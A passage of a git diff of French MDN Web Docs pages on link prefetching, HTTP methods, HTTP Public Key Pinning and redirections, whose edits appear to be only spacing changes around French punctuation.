absolument pas standardisé et il peut changer dans les futures versions de Mozilla. -### Existe-t-il une préférence pour désactiver le préchargement de liens ? +### Existe-t-il une préférence pour désactiver le préchargement de liens ? -Oui, il existe une préférence cachée pour désactiver le préchargement de liens. Ajoutez cette ligne dans votre fichier prefs.js qui se trouve dans votre répertoire de profil (ou faite le changement approprié via `about:config`) : +Oui, il existe une préférence cachée pour désactiver le préchargement de liens. Ajoutez cette ligne dans votre fichier prefs.js qui se trouve dans votre répertoire de profil (ou faite le changement approprié via `about:config`) : user_pref("network.prefetch-next", false); Toutefois, la théorie est que si le préchargement de liens a besoin d'être désactivé c'est qu'il doit y avoir un problème dans l'implémentation. On doit améliorer l'implémentation si ça ne marche pas correctement plutôt que d'attendre que l'utilisateur trouve et modifie une obscure préférence. -### Et pour les gens qui payent à la bande passante utilisée ? +### Et pour les gens qui payent à la bande passante utilisée ? -En fait, il y a deux façons d'aborder ce problème : +En fait, il y a deux façons d'aborder ce problème : 1. Les sites Web peuvent provoquer le chargement de choses de façon transparente en utilisant des hacks JS/DOM. 2. Le préchargement est une fonctionnalité du navigateur, les utilisateurs devraient pouvoir le désactiver facilement. Il est important que les sites web adoptent la balise `<link>` pour le préchargement, plutôt que d'essayer d'initier le chargement en tâche de fond avec des hacks JS/DOM. La balise `<link>` donne au navigateur la capacité de savoir quels sites sont à charger et on peut utiliser cette information pour améliorer le système de priorité du préchargement des liens. La préférence utilisateur pour désactiver le préchargement par la balise `<link>` encourage simplement les sites Web à s'abstenir d'utiliser des hacks JS/DOM. Cela n'apporterait rien de positif aux utilisateurs. C'est une des raisons pour lesquelles le préchargement est activé par défaut. -### Quels navigateurs supportent le préchargement de liens ? +### Quels navigateurs supportent le préchargement de liens ? Les navigateurs basés sur Mozilla 1.2 (ou +) aussi bien que ceux basés sur Mozilla 1.0.2 (ou +) supportent le préchargement. Cela inclut Firefox et Netscape 7.02+. Les compilations Camino, en Mars 2003, sont basées sur Mozilla 1.0.1 et donc ne supportent pas le préchargement. [Testez](http://gemal.dk/browserspy/prefetch.php) votre navigateur pour vérifier s'il supporte le préchargement de liens. -### D'autres questions ? +### D'autres questions ? -Si vous avez des questions ou des commentaires sur le préchargement de liens, n'hésitez pas à me les envoyer :-) +Si vous avez des questions ou des commentaires sur le préchargement de liens, n'hésitez pas à me les envoyer :-) #### Voir également @@ -115,5 +115,5 @@ Si vous avez des questions ou des commentaires sur le préchargement de liens, n ### Informations sur le document original -- Auteur(s) :Darin Fisher (darin at meer dot net) -- Date de dernière mise à jour : 3 mars 2003 +- Auteur(s) :Darin Fisher (darin at meer dot net) +- Date de dernière mise à jour : 3 mars 2003 diff --git a/files/fr/web/http/methods/connect/index.md b/files/fr/web/http/methods/connect/index.md index 961b30019e..76631db22a 100644 --- a/files/fr/web/http/methods/connect/index.md +++ b/files/fr/web/http/methods/connect/index.md @@ -40,7 +40,7 @@ Par exemple, la méthode `CONNECT` peut être utilisée pour accéder à des sit </tr> <tr> <th scope="row"> - Autorisée dans les + Autorisée dans les <a href="https://developer.mozilla.org/fr/docs/Web/Guide/HTML/Formulaires" >formulaires HTML</a diff --git a/files/fr/web/http/methods/delete/index.md b/files/fr/web/http/methods/delete/index.md index c6c87d11ef..d7b564c746 100644 --- a/files/fr/web/http/methods/delete/index.md +++ b/files/fr/web/http/methods/delete/index.md @@ -37,7 +37,7 @@ La **méthode HTTP DELETE** supprime la ressource indiquée. </tr> <tr> <th scope="row"> - Autorisée dans les + Autorisée dans les <a href="https://developer.mozilla.org/fr/docs/Web/Guide/HTML/Formulaires" >formulaires HTML</a @@ -60,7 +60,7 @@ La **méthode HTTP DELETE** supprime la ressource indiquée. ### Réponses -Si une méthode `DELETE` est appliquée avec succès, il y a plusieurs codes de statut de réponse possibles : +Si une méthode `DELETE` est appliquée avec succès, il y a plusieurs codes de statut de réponse possibles : - Un code de statut {{HTTPStatus("202")}} (`Accepted`) si l'action est en passe de réussir mais n'a pas encore été confirmée. - Un code de statut {{HTTPStatus("204")}} (`No Content`) si l'action a été confirmée et qu'aucune information supplémentaire n'est à fournir. diff --git a/files/fr/web/http/methods/head/index.md b/files/fr/web/http/methods/head/index.md index 6a46b1424e..b965dc690f 100644 --- a/files/fr/web/http/methods/head/index.md +++ b/files/fr/web/http/methods/head/index.md @@ -10,7 +10,7 @@ original_slug: Web/HTTP/Méthode/HEAD --- {{HTTPSidebar}} -La **méthode HTTP `HEAD`** demande les en-têtes qui seraient retournés si la ressource spécifiée était demandée avec une méthode HTTP {{HTTPMethod("GET")}}. Une telle requête peut être envoyée avant de procéder au téléchargement d'une ressource volumineuse, par exemple pour économiser de la bande passante. +La **méthode HTTP `HEAD`** demande les en-têtes qui seraient retournés si la ressource spécifiée était demandée avec une méthode HTTP {{HTTPMethod("GET")}}. Une telle requête peut être envoyée avant de procéder au téléchargement d'une ressource volumineuse, par exemple pour économiser de la bande passante. Une réponse issue d'une requête `HEAD` ne doit pas avoir de corps. Si tel est le cas, elle doit être ignorée. Toutefois, les {{glossary("En-têtes d'entité", "en-têtes d'entité")}} décrivant le contenu du corps, comme {{HTTPHeader("Content-Length")}}, peuvent être inclus dans la réponse. Ils ne sont pas liés au corps de la réponse `HEAD` , qui doit être vide, mais au corps d'une réponse issue d'une requête similaire utilisant la méthode {{HTTPMethod("GET")}}. @@ -40,7 +40,7 @@ Si le résultat d'une requête `HEAD` montre qu'une ressource mise en cache apr </tr> <tr> <th scope="row"> - Autorisée dans les + Autorisée dans les <a href="https://developer.mozilla.org/fr/docs/Web/Guide/HTML/Formulaires" >formulaires HTML</a diff --git a/files/fr/web/http/methods/index.md b/files/fr/web/http/methods/index.md index 3c00b9d47d..3d50cb6bcb 100644 --- a/files/fr/web/http/methods/index.md +++ b/files/fr/web/http/methods/index.md @@ -10,14 +10,14 @@ original_slug: Web/HTTP/Méthode --- {{HTTPSidebar}} -HTTP définit un ensemble de **méthodes de requête** qui indiquent l'action que l'on souhaite réaliser sur la ressource indiquée. Bien qu'on rencontre également des noms (en anglais), ces méthodes sont souvent appelées _verbes HTTP_. Chacun d'eux implémente une sémantique différente mais certaines fonctionnalités courantes peuvent être partagées par différentes méthodes (e.g. une méthode de requête peut être sûre (_safe_), idempotente ou être mise en cache (_cacheable_)). +HTTP définit un ensemble de **méthodes de requête** qui indiquent l'action que l'on souhaite réaliser sur la ressource indiquée. Bien qu'on rencontre également des noms (en anglais), ces méthodes sont souvent appelées _verbes HTTP_. Chacun d'eux implémente une sémantique différente mais certaines fonctionnalités courantes peuvent être partagées par différentes méthodes (e.g. une méthode de requête peut être sûre (_safe_), idempotente ou être mise en cache (_cacheable_)). - [`GET`](/fr/docs/Web/HTTP/Méthode/GET) - : La méthode `GET` demande une représentation de la ressource spécifiée. Les requêtes GET doivent uniquement être utilisées afin de récupérer des données. - [`HEAD`](/fr/docs/Web/HTTP/Méthode/HEAD) - : La méthode `HEAD` demande une réponse identique à une requête GET pour laquelle on aura omis le corps de la réponse (on a uniquement l'en-tête). - [`POST`](/fr/docs/Web/HTTP/Méthode/POST) - - : La méthode `POST` est utilisée pour envoyer une entité vers la ressource indiquée. Cela entraîne généralement un changement d'état ou des effets de bord sur le serveur. + - : La méthode `POST` est utilisée pour envoyer une entité vers la ressource indiquée. Cela entraîne généralement un changement d'état ou des effets de bord sur le serveur. - [`PUT`](/fr/docs/Web/HTTP/Méthode/PUT) - : La méthode `PUT` remplace toutes les représentations actuelles de la ressource visée par le contenu de la requête. - [`DELETE`](/fr/docs/Web/HTTP/Méthode/DELETE) diff --git a/files/fr/web/http/methods/options/index.md b/files/fr/web/http/methods/options/index.md index 842dd3ceae..5486fe91df 100644 --- a/files/fr/web/http/methods/options/index.md +++ b/files/fr/web/http/methods/options/index.md @@ -6,7 +6,7 @@ original_slug: Web/HTTP/Méthode/OPTIONS --- {{HTTPSidebar}} -La **méthode HTTP `OPTIONS`** est utilisée pour décrire les options de communication pour la ressource ciblée. Le client peut renseigner une URL spécifique pour la méthode OPTIONS, ou une astérisque (\*) pour interroger le serveur dans sa globalité. +La **méthode HTTP `OPTIONS`** est utilisée pour décrire les options de communication pour la ressource ciblée. Le client peut renseigner une URL spécifique pour la méthode OPTIONS, ou une astérisque (\*) pour interroger le serveur dans sa globalité. <table class="properties"> <tbody> @@ -32,7 +32,7 @@ La **méthode HTTP `OPTIONS`** est utilisée pour décrire les options de com </tr> <tr> <th scope="row"> - Autorisée dans les + Autorisée dans les <a href="https://developer.mozilla.org/fr/docs/Web/Guide/HTML/Formulaires" >formulaires HTML</a @@ -58,7 +58,7 @@ Pour déterminer les méthodes HTTP supportées par le serveur, on peut utiliser curl -X OPTIONS http://example.org -i -La réponse contient un en-tête {{HTTPHeader("Allow")}} qui liste les méthodes autorisées : +La réponse contient un en-tête {{HTTPHeader("Allow")}} qui liste les méthodes autorisées : HTTP/1.1 200 OK Allow: OPTIONS, GET, HEAD, POST @@ -69,9 +69,9 @@ La réponse contient un en-tête {{HTTPHeader("Allow")}} qui liste les méthode x-ec-custom-error: 1 Content-Length: 0 -### Requête de pré-vérification cross-origin [CORS](https://developer.mozilla.org/fr/docs/Glossaire/CORS) +### Requête de pré-vérification cross-origin [CORS](https://developer.mozilla.org/fr/docs/Glossaire/CORS) -En [CORS](/en-US/docs/Web/HTTP/Access_control_CORS), une requête de pré-vérification est envoyée avec la méthode `OPTIONS` afin que le serveur indique si la requête est acceptable avec les paramètres spécifiés. En tant qu'élément de la requête de pré-vérification, le header {{HTTPHeader("Access-Control-Request-Method")}} notifie le serveur que lorsque la véritable requête sera envoyée, ce sera avec une méthode `POST`. Le header {{HTTPHeader("Access-Control-Request-Headers")}} indique au serveur que lorsque la vraie requête sera envoyée, elle aura les en-tête personnalisés `X-PINGOTHER` et `Content-Type`. Le serveur a maintenant la possibilité de déterminer s'il souhaite ou non accepter la requête dans les conditions énoncées par la requête de pré-vérification. +En [CORS](/en-US/docs/Web/HTTP/Access_control_CORS), une requête de pré-vérification est envoyée avec la méthode `OPTIONS` afin que le serveur indique si la requête est acceptable avec les paramètres spécifiés. En tant qu'élément de la requête de pré-vérification, le header {{HTTPHeader("Access-Control-Request-Method")}} notifie le serveur que lorsque la véritable requête sera envoyée, ce sera avec une méthode `POST`. Le header {{HTTPHeader("Access-Control-Request-Headers")}} indique au serveur que lorsque la vraie requête sera envoyée, elle aura les en-tête personnalisés `X-PINGOTHER` et `Content-Type`. Le serveur a maintenant la possibilité de déterminer s'il souhaite ou non accepter la requête dans les conditions énoncées par la requête de pré-vérification. OPTIONS /resources/post-here/ HTTP/1.1 Host: bar.other @@ -84,7 +84,7 @@ En [CORS](/en-US/docs/Web/HTTP/Access_control_CORS), une requête de pré-vérif Access-Control-Request-Method: POST Access-Control-Request-Headers: X-PINGOTHER, Content-Type -Dans la réponse du serveur, l'en-tête {{HTTPHeader("Access-Control-Allow-Methods")}} indique que les méthodes `POST`, `GET`, and `OPTIONS` sont utilisables pour interroger la ressource. Cet en-tête est similaire à {{HTTPHeader("Allow")}}, mais utilisé uniquement dans le contexte CORS. +Dans la réponse du serveur, l'en-tête {{HTTPHeader("Access-Control-Allow-Methods")}} indique que les méthodes `POST`, `GET`, and `OPTIONS` sont utilisables pour interroger la ressource. Cet en-tête est similaire à {{HTTPHeader("Allow")}}, mais utilisé uniquement dans le contexte CORS. HTTP/1.1 200 OK Date: Mon, 01 Dec 2008 01:15:39 GMT diff --git a/files/fr/web/http/methods/post/index.md b/files/fr/web/http/methods/post/index.md index 9adf8bd523..a483ebb3af 100644 --- a/files/fr/web/http/methods/post/index.md +++ b/files/fr/web/http/methods/post/index.md @@ -14,13 +14,13 @@ La **méthode HTTP `POST`** envoie des données au serveur. Le type du corps de La différence entre `PUT` et {{HTTPMethod("POST")}} tient au fait que `PUT` est une méthode idempotente. Une requête `PUT`, envoyée une ou plusieurs fois avec succès, aura toujours le même effet (il n'y a pas d'effet de bord). À l'inverse, des requêtes `POST` successives et identiques peuvent avoir des effets additionnels, ce qui peut revenir par exemple à passer plusieurs fois une commande. -Une requête `POST` est habituellement envoyée via un [formulaire HTML](/en-US/docs/Web/Guide/HTML/Forms) et a pour résultat un changement sur le serveur. Dans ce cas, le type du contenu est sélectionné en mettant la chaîne de caractères adéquate dans l'attribut *{{htmlattrxref("enctype", "form")}} de l'élément {{HTMLElement("form")}} ou dans l'attribut {{htmlattrxref("formenctype", "input")}} de l'élément {{HTMLElement("input") }}, voir celui des éléments {{HTMLElement("button")}}* : +Une requête `POST` est habituellement envoyée via un [formulaire HTML](/en-US/docs/Web/Guide/HTML/Forms) et a pour résultat un changement sur le serveur. Dans ce cas, le type du contenu est sélectionné en mettant la chaîne de caractères adéquate dans l'attribut *{{htmlattrxref("enctype", "form")}} de l'élément {{HTMLElement("form")}} ou dans l'attribut {{htmlattrxref("formenctype", "input")}} de l'élément {{HTMLElement("input") }}, voir celui des éléments {{HTMLElement("button")}}* : -- `application/`_`x-www-form-urlencoded` : les valeurs sont encodées sous forme de couples clé-valeur séparés par `'&'`, avec un `'='` entre la clé et la valeur. Les caractères non alphanumériques sont {{glossary("percent encoded")}} : c'est la raison pour laquelle ce type de format n'est pas adapté à une utilisation avec des données binaires (utilisez `multipart/form-data` à la place)_ +- `application/`_`x-www-form-urlencoded` : les valeurs sont encodées sous forme de couples clé-valeur séparés par `'&'`, avec un `'='` entre la clé et la valeur. Les caractères non alphanumériques sont {{glossary("percent encoded")}} : c'est la raison pour laquelle ce type de format n'est pas adapté à une utilisation avec des données binaires (utilisez `multipart/form-data` à la place)_ - _`multipart/form-data`_ - _`text/plain`_ -Lorsque la requête `POST` est envoyée par un autre moyen qu'un formulaire HTML, par exemple via {{domxref("XMLHttpRequest")}}, le corps peut être de n'importe quel type. Comme décrit dans la spécification HTTP 1.1, `la méthode POST` est conçue pour permettre une méthode uniforme couvrant les fonctions suivantes : +Lorsque la requête `POST` est envoyée par un autre moyen qu'un formulaire HTML, par exemple via {{domxref("XMLHttpRequest")}}, le corps peut être de n'importe quel type. Comme décrit dans la spécification HTTP 1.1, `la méthode POST` est conçue pour permettre une méthode uniforme couvrant les fonctions suivantes : - Annotation de ressources existantes - Publication d'un message sur un tableau d'affichage, un groupe de discussion, une liste de diffusion, ou un groupe similaire d'articles; @@ -53,7 +53,7 @@ Lorsque la requête `POST` est envoyée par un autre moyen qu'un formulaire HTML </tr> <tr> <th scope="row"> - Autorisée dans les + Autorisée dans les <a href="/fr/docs/Web/Guide/HTML/Formulaires">formulaires HTML</a> </th> <td>Oui</td> @@ -67,7 +67,7 @@ Lorsque la requête `POST` est envoyée par un autre moyen qu'un formulaire HTML ## Exemple -Un formulaire simple utilisant le type de contenu par défaut `application/x-www-form-urlencoded` : +Un formulaire simple utilisant le type de contenu par défaut `application/x-www-form-urlencoded` : POST / HTTP/1.1 Host: foo.com @@ -76,7 +76,7 @@ Un formulaire simple utilisant le type de contenu par défaut `application/x-www say=Hi&to=Mom -Un formulaire utilisant le type de contenu `multipart/form-data` : +Un formulaire utilisant le type de contenu `multipart/form-data` : POST /test.html HTTP/1.1 Host: example.org diff --git a/files/fr/web/http/methods/trace/index.md b/files/fr/web/http/methods/trace/index.md index 5869ac0289..a11f0d8d26 100644 --- a/files/fr/web/http/methods/trace/index.md +++ b/files/fr/web/http/methods/trace/index.md @@ -12,7 +12,7 @@ original_slug: Web/HTTP/Méthode/TRACE La **méthode HTTP `TRACE`** effectue un test de rebouclage des messages le long du chemin vers la ressource cible, fournissant ainsi un mécanisme de débogage utile. -Le destinataire final de la demande doit renvoyer au client le message reçu, à l'exclusion de certains champs décrits ci-dessous, en tant que corps de message d'une réponse {{HTTPStatus("200")}}. (OK) avec un {{HTTPHeader("Content-Type")}} de `message/http`. Le destinataire final est soit le serveur d'origine, soit le premier serveur à recevoir une valeur {{HTTPHeader("Max-Forwards")}} de 0 dans la requête. +Le destinataire final de la demande doit renvoyer au client le message reçu, à l'exclusion de certains champs décrits ci-dessous, en tant que corps de message d'une réponse {{HTTPStatus("200")}}. (OK) avec un {{HTTPHeader("Content-Type")}} de `message/http`. Le destinataire final est soit le serveur d'origine, soit le premier serveur à recevoir une valeur {{HTTPHeader("Max-Forwards")}} de 0 dans la requête. <table class="properties"> <tbody> diff --git a/files/fr/web/http/overview/index.md b/files/fr/web/http/overview/index.md index 62cf4ccc68..a67e0d4317 100644 --- a/files/fr/web/http/overview/index.md +++ b/files/fr/web/http/overview/index.md @@ -29,7 +29,7 @@ Chaque requête individuelle est envoyée au serveur, qui la traite et fournit u En réalité, il y a plus d'un ordinateur entre un navigateur et le serveur qui traite la requête : il y a les routeurs, les modems et bien plus. Grâce à la construction en couche du Web, ces intermédiaires sont cachés dans les couches réseau et transport. HTTP est bâti sur la couche applicative. Bien qu'elles puissent s'avérer importantes lorsqu'il s'agit de diagnostiquer des problèmes réseau, les couches inférieures ne sont pas pertinentes ici pour décrire HTTP. -### Le client : l'agent utilisateur +### Le client : l'agent utilisateur L'_agent utilisateur_ correspond à n'importe quel outil qui agit pour le compte de l'utilisateur. Ce rôle est principalement rempli par le navigateur web ; les exceptions étant les programmes utilisés par des ingénieurs et développeurs web pour le débogage de leurs applications. @@ -47,7 +47,7 @@ D'une part, un serveur n'est pas nécessairement une machine unique et d'autre p ### Les _proxys_ -Entre le navigateur Web et le serveur, de nombreux ordinateurs et machines relaient les messages HTTP. En raison de la structure en couches superposées des technologies web, la plupart des opérations au niveau du transport, du réseau ou au niveau physique sont transparents pour la couche HTTP, ce qui peut avoir un impact significatif sur les performances. Les opérations au niveau de la couche applicative sont généralement appelées **proxy**. Ceux-ci peuvent être transparents ou non (en changeant les requêtes qui passent par eux), et peuvent effectuer de nombreuses tâches : +Entre le navigateur Web et le serveur, de nombreux ordinateurs et machines relaient les messages HTTP. En raison de la structure en couches superposées des technologies web, la plupart des opérations au niveau du transport, du réseau ou au niveau physique sont transparents pour la couche HTTP, ce qui peut avoir un impact significatif sur les performances. Les opérations au niveau de la couche applicative sont généralement appelées **proxy**. Ceux-ci peuvent être transparents ou non (en changeant les requêtes qui passent par eux), et peuvent effectuer de nombreuses tâches : - mettre en cache (le cache peut alors être public ou privé, comme le cache du navigateur) - filtrer (comme un antivirus, contrôle parental…) diff --git a/files/fr/web/http/public_key_pinning/index.md b/files/fr/web/http/public_key_pinning/index.md index cd14e99c24..1e60493eb0 100644 --- a/files/fr/web/http/public_key_pinning/index.md +++ b/files/fr/web/http/public_key_pinning/index.md @@ -8,11 +8,11 @@ tags: translation_of: Web/HTTP/Public_Key_Pinning original_slug: Web/Security/Public_Key_Pinning --- -L'extention **Public Key Pinning pour HTTP** (HPKP) est une fonctionnalité de sécurité qui dit au client web d'associer une clé publique cryptographique avec un certain serveur web pour éviter les attaques [MITM](https://fr.wikipedia.org/wiki/Attaque_de_l%27homme_du_milieu) avec des certificats contrefaits. +L'extention **Public Key Pinning pour HTTP** (HPKP) est une fonctionnalité de sécurité qui dit au client web d'associer une clé publique cryptographique avec un certain serveur web pour éviter les attaques [MITM](https://fr.wikipedia.org/wiki/Attaque_de_l%27homme_du_milieu) avec des certificats contrefaits. -> **Note :** La Public Key Pinning décrite ici est différente du limité [preload list based key pinning](http://monica-at-mozilla.blogspot.de/2014/08/firefox-32-supports-public-key-pinning.html) introduit dans Firefox 32. +> **Note :** La Public Key Pinning décrite ici est différente du limité [preload list based key pinning](http://monica-at-mozilla.blogspot.de/2014/08/firefox-32-supports-public-key-pinning.html) introduit dans Firefox 32. -Pour s'assurer de l’authenticité de la clé publique du serveur utilisé dans une session TLS, cette clé publique est enveloppée dans un certificat X.509 qui est généralement signé par une autorité de certifications (CA, pour Certificate Authority). Les clients web tels que les navigateurs font confiance à beaucoup de ces autorités de certifications, et chacune d'entre elles peut créer des certificats pour des domaines arbitraires. Si un attaquant est capable de compromettre une seule de ces CA, il peut pratiquer des attaques {{Glossary("MitM")}} sur diverses connections TLS. HPKP peut contourner cette menace pour le protocole HTTPS en disant au client web quelles clés publiques appartiennent à un certain serveur web. +Pour s'assurer de l’authenticité de la clé publique du serveur utilisé dans une session TLS, cette clé publique est enveloppée dans un certificat X.509 qui est généralement signé par une autorité de certifications (CA, pour Certificate Authority). Les clients web tels que les navigateurs font confiance à beaucoup de ces autorités de certifications, et chacune d'entre elles peut créer des certificats pour des domaines arbitraires. Si un attaquant est capable de compromettre une seule de ces CA, il peut pratiquer des attaques {{Glossary("MitM")}} sur diverses connections TLS. HPKP peut contourner cette menace pour le protocole HTTPS en disant au client web quelles clés publiques appartiennent à un certain serveur web. HPKP est une technique qui s'appuie sur la confiance au premier accès (TOFU, _Trust on First Use_). La première fois un serveur web dit au client en utilisant l'en-tête HTTP HPKP quelles clés publiques lui appartiennent, le client sauvegarde cette information pour une période de temps donnée. Quand le client visite le serveur à nouveau, il s'attend à un certificat contenant une clé publique dont l'empreinte est sauvegardée. Si le serveur présente une clé publique inconnue, le client doit présenter un avertissement à l'utilisateur. @@ -20,27 +20,27 @@ HPKP est une technique qui s'appuie sur la confiance au premier accès (TOFU, _T ## Activer HPKP -Activer cette fonctionnalité pour votre site est simple : il faut juste retourner l'en tête HTTP `Public-Key-Pins` HTTP quand le site est accédé via HTTPS : +Activer cette fonctionnalité pour votre site est simple : il faut juste retourner l'en tête HTTP `Public-Key-Pins` HTTP quand le site est accédé via HTTPS : Public-Key-Pins: pin-sha256="base64=="; max-age=expireTime [; includeSubdomains][; report-uri="reportURI"] - `pin-sha256` - - : La chaîne de caractère entre guillemets est l’empreinte du *Subject Public Key Information* (SPKI) encodé en base 64. Il est possible de spécifier plusieurs épinglage (pin) pour différentes clé publiques. Certains navigateurs pourraient autoriser dans le future d'autres algorithmes de hachage que SHA-256. Voir plus bas comment extraire cette information depuis le fichier d'un certificat ou d'une clé. + - : La chaîne de caractère entre guillemets est l’empreinte du *Subject Public Key Information* (SPKI) encodé en base 64. Il est possible de spécifier plusieurs épinglage (pin) pour différentes clé publiques. Certains navigateurs pourraient autoriser dans le future d'autres algorithmes de hachage que SHA-256. Voir plus bas comment extraire cette information depuis le fichier d'un certificat ou d'une clé. - `max-age` - : Le temps, en seconde, pendant laquelle le navigateur doit mémoriser que le site ne doit être visité qu'avec l'une des clés épinglées. - `includeSubdomains` {{ optional_inline() }} - - : Si ce paramètre optionnel est spécifié, cette règle s'applique aussi a tous les sous-domaines du domaine actuel. + - : Si ce paramètre optionnel est spécifié, cette règle s'applique aussi a tous les sous-domaines du domaine actuel. - `report-uri` {{ optional_inline() }} - : Si ce paramètre optionnel est spécifié, les échecs de validation sont notifiés à l'URL donnée. -> **Note :** La spécification actuelle **impose** d'inclure au minimum une seconde clé dite de sauvegarde, qui n'est pas encore utilisée en production. Cela permet de changer de clé publique sans bloquer l'accès aux clients qui auraient déjà noté les clés épinglés. C'est important par exemple dans le cas où la clé actuellement utilisées serait compromise, ce qui forcerait l'utilisation d'une clé différente (la clé de sauvegarde dans ce cas). +> **Note :** La spécification actuelle **impose** d'inclure au minimum une seconde clé dite de sauvegarde, qui n'est pas encore utilisée en production. Cela permet de changer de clé publique sans bloquer l'accès aux clients qui auraient déjà noté les clés épinglés. C'est important par exemple dans le cas où la clé actuellement utilisées serait compromise, ce qui forcerait l'utilisation d'une clé différente (la clé de sauvegarde dans ce cas). > **Note :** Firefox n'implémente pas encore les rapports de violation d'épinglage. Chrome les implémente à partie de la version 46. > > - Firefox: [Bug 1091176 - Implement report-uri directive for HPKP](https://bugzilla.mozilla.org/show_bug.cgi?id=1091176) et [Bug 787133 - (hpkp) Implement Public Key Pinning Extension for HTTP (HPKP)](https://bugzilla.mozilla.org/show_bug.cgi?id=787133) > - Chrome: <https://developers.google.com/web/updates/2015/09/HPKP-reporting-with-chrome-46> , [HTTP Public Key Pinning violating reporting](https://www.chromestatus.com/feature/4669935557017600) et [Issue 445793: HPKP Reporting on invalid pins](https://code.google.com/p/chromium/issues/detail?id=445793) -### Extraire la clé publique encodé en Base64 +### Extraire la clé publique encodé en Base64 En premier, vous devez extraire la clé publique depuis votre fichier de certificats ou de clés puis l'encoder en base 64. @@ -56,13 +56,13 @@ Les commandes suivantes vous aideront à extraire la clé publique et à l'encod openssl x509 -in my-certificate.crt -pubkey -noout | openssl rsa -pubin -outform der | openssl dgst -sha256 -binary | openssl enc -base64 -### +### ### Exemple d'entête HPKP Public-Key-Pins: pin-sha256="cUPcTAZWKaASuYWhhneDttWpY3oBAkE3h2+soZS7sWs="; pin-sha256="M8HztCzM3elUxkcjR2S5P4hhyBNf6lHkmjAHKhpGPWE="; max-age=5184000; includeSubdomains; report-uri="https://www.example.net/hpkp-report" -Dans cet exemple, **pin-sha256="cUPcTAZWKaASuYWhhneDttWpY3oBAkE3h2+soZS7sWs="** épingle la clé publique utilisée en production par le serveur. La deuxième déclaration d'épinglage **pin-sha256="M8HztCzM3elUxkcjR2S5P4hhyBNf6lHkmjAHKhpGPWE="** représente la clé de sauvegarde. **max-age=5184000** dit au client de mémoriser cette information pendant deux mois, ce qui est un temps raisonnable d'après la RFC. Cet épinglage s'applique aussi à tous les sous-domaines, car **includeSubdomains** est présent. Enfin, **report-uri="https\://www\.example.net/hpkp-report"** indique où envoyer les rapports d'erreurs de validation. +Dans cet exemple, **pin-sha256="cUPcTAZWKaASuYWhhneDttWpY3oBAkE3h2+soZS7sWs="** épingle la clé publique utilisée en production par le serveur. La deuxième déclaration d'épinglage **pin-sha256="M8HztCzM3elUxkcjR2S5P4hhyBNf6lHkmjAHKhpGPWE="** représente la clé de sauvegarde. **max-age=5184000** dit au client de mémoriser cette information pendant deux mois, ce qui est un temps raisonnable d'après la RFC. Cet épinglage s'applique aussi à tous les sous-domaines, car **includeSubdomains** est présent. Enfin, **report-uri="https\://www\.example.net/hpkp-report"** indique où envoyer les rapports d'erreurs de validation. @@ -70,27 +70,27 @@ Dans cet exemple, **pin-sha256="cUPcTAZWKaASuYWhhneDttWpY3oBAkE3h2+soZS7sWs="** Les étapes concrètes nécessaires pour délivrer l'en-tête HPKP dépendent du serveur web que vous utilisez. -> **Note :** Ces exemples utilisent un a max-age de deux mois et incluent aussi tous les sous-domaines. Il est conseillé de vérifier que cela convient à votre serveur. +> **Note :** Ces exemples utilisent un a max-age de deux mois et incluent aussi tous les sous-domaines. Il est conseillé de vérifier que cela convient à votre serveur. -Inclure une ligne similaire à votre configuration activera HPKP, en remplaçant les valeurs en pointillé des lignes `pin-sha256="..."` : +Inclure une ligne similaire à votre configuration activera HPKP, en remplaçant les valeurs en pointillé des lignes `pin-sha256="..."` : #### Apache Header always set Public-Key-Pins "pin-sha256=\"base64+primary==\"; pin-sha256=\"base64+backup==\"; max-age=5184000; includeSubDomains" -**Note :** Cela demande le module `mod_headers` activé. +**Note :** Cela demande le module `mod_headers` activé. #### Nginx add_header Public-Key-Pins 'pin-sha256="base64+primary=="; pin-sha256="base64+backup=="; max-age=5184000; includeSubDomains'; -**Note :** Cela demande le module `ngx_http_headers_module`. +**Note :** Cela demande le module `ngx_http_headers_module`. #### Lighttpd - setenv.add-response-header = ( "Public-Key-Pins" => "pin-sha256=\"base64+primary==\"; pin-sha256=\"base64+backup==\"; max-age=5184000; includeSubDomains") + setenv.add-response-header = ( "Public-Key-Pins" => "pin-sha256=\"base64+primary==\"; pin-sha256=\"base64+backup==\"; max-age=5184000; includeSubDomains") -**Note:** Cela demande le module `mod_setenv` chargé, ce qui peut être fait en ajoutant la ligne suivante (s'il n'est pas déjà chargé) : +**Note:** Cela demande le module `mod_setenv` chargé, ce qui peut être fait en ajoutant la ligne suivante (s'il n'est pas déjà chargé) : server.modules += ( "mod_setenv" ) diff --git a/files/fr/web/http/redirections/index.md b/files/fr/web/http/redirections/index.md index c846b4e955..b263d81542 100644 --- a/files/fr/web/http/redirections/index.md +++ b/files/fr/web/http/redirections/index.md @@ -113,7 +113,7 @@ Lorsque vous restructurez des sites Web, les URL des ressources changent. Même Les requêtes {{Glossary("safe", "Unsafe")}} modifient l'état du serveur et l'utilisateur ne devrait pas les rejouer par inadvertance. Typiquement, vous ne voulez pas que vos utilisateurs renvoient des requêtes {{HTTPMethod("PUT")}}, {{HTTPMethod("POST")}} ou {{HTTPMethod("DELETE")}}. Si vous ne vous contentez que d'envoyer la réponse à la suite de cette requête, un simple clic sur le bouton de rechargement (éventuellement après un message de confirmation), renvoie la demande. -Dans ce cas, le serveur peut renvoyer une réponse {{HTTPStatus("303")}} (See Other) qui contiendra les bonnes informations, mais si le bouton de rechargement est pressé, seule cette page est réaffichée, sans rejouer les demandes non sécurisées. +Dans ce cas, le serveur peut renvoyer une réponse {{HTTPStatus("303")}} (See Other) qui contiendra les bonnes informations, mais si le bouton de rechargement est pressé, seule cette page est réaffichée, sans rejouer les demandes non sécurisées. ### Réponses temporaires aux longues requêtes diff --git a/files/fr/web/javascript/a_re-introduction_to_javascript/index.md b/files/fr/web/javascript/a_re-introduction_to_javascript/index.md index f885ef3bcd..8284c0980e 100644 --- a/files/fr/web/javascript/a_re-introduction_to_javascript/index.md +++ b/files/fr/web/javascript/a_re-introduction_to_javascript/index.md @@ -19,7 +19,7 @@ Il peut être utile de commencer avec un aperçu de l'histoire de ce langage. Ja Quelques mois plus tard, Microsoft a lancé avec Internet Explorer 3 une version du langage globalement compatible, appelée JScript. Quelques mois après, Netscape a soumis le langage à l'[Ecma International](https://www.ecma-international.org/), une organisation de normalisation européenne, ce qui a permis d'aboutir à la première édition du standard [ECMAScript](/fr/docs/Glossary/ECMAScript) en 1997. Ce standard a reçu une mise à jour importante appelée [ECMAScript edition 3](https://www.ecma-international.org/publications/standards/Ecma-262.htm) en 1999, et est resté relativement stable depuis. La quatrième édition a été abandonnée suite à des différends portants sur la complexité du langage. De nombreuses sections de la quatrième édition ont été utilisées pour servir 